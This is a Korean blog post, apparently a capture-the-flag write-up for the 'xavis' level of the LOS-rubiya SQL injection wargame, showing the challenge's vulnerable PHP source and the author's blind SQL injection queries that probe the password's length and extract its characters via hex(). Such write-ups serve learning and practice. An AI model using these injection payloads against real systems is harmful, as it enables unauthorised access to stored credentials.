vared
vared - Blog
vared
전체 방문자
오늘
어제
  • 분류 전체보기 (138)
    • Study (0)
    • Project (0)
    • Paper Review (0)
    • Tool (0)
    • WriteUp (124)
      • Root-me.org (44)
      • LOS_rubiya (32)
      • Webhacking.kr (21)
      • DreamHack (9)
      • XCZ.kr (8)
      • HackCTF (10)
    • Miscellaneous (0)
    • Forensic-CheatSheet (10)

블로그 메뉴

  • Category

공지사항

  • Forensic-CheatSheet 오픈

인기 글

태그

  • Windows Artifact
  • sql injection
  • Artifacts
  • forensic artifacts
  • ssd
  • shellbag forensics
  • shellbag
  • digital-forensics
  • Digital-Forensic
  • webhacking.kr
  • LNK FIile
  • iconcahce
  • JavaScript
  • Los
  • File Execution
  • Digital Forensic
  • Thumbcache
  • forensic-cheatsheet
  • trim

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
vared

vared - Blog

WriteUp/LOS_rubiya

LOS-rubiya : xavis

2020. 8. 26. 10:33
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis"); 
  highlight_file(__FILE__); 
?>

pw 찾아주는 문제다.

 

. () regex prob like 같은 문자들이 필터링 당하고 있다.

일단 값을 찾아야 하기 때문에 python 코드를 이용해서 짜 보도록 하자.

파이썬 파일은 이전에 썼던 걸 활용할 것이고 기본적인 쿼리만 논해보도록 하자.

 

?pw=%27or%20length(pw)>11%23

이때 admin의 문자열 길이는 12 다.

 

각 자리의 문자를 찾아보자.

?pw='or ascii(substr(pw,1,1))>0%23

 

음 자릿수가 다 0이다. 뭔가 이상해서 hex 로 구하기로 했다.

?pw=;or ascii(substr(hex(pw),1,1))=0%23

 

0000C6B00000C6550000AD73

ưÆU­s

안되는데, utf-8로 해보자

0000C6B00000C6550000AD73

 

음 찾아보니까 한글이었다…. python 내에서 확인함.

 

-> 우왕굳

 

비밀번호가 한글인 건 처음이였다. 다양하게 봐야겠네,,,

저작자표시 (새창열림)

'WriteUp > LOS_rubiya' 카테고리의 다른 글

LOS-rubiya : iron_golem  (0) 2020.08.26
LOS-rubiya : dragon  (0) 2020.08.26
LOS-rubiya : nightmare  (0) 2020.08.03
LOS-rubiya : Zombie_assassin  (0) 2020.08.03
LOS-rubiya : Succubus  (0) 2020.08.03
    'WriteUp/LOS_rubiya' 카테고리의 다른 글
    • LOS-rubiya : iron_golem
    • LOS-rubiya : dragon
    • LOS-rubiya : nightmare
    • LOS-rubiya : Zombie_assassin
    vared
    vared

    티스토리툴바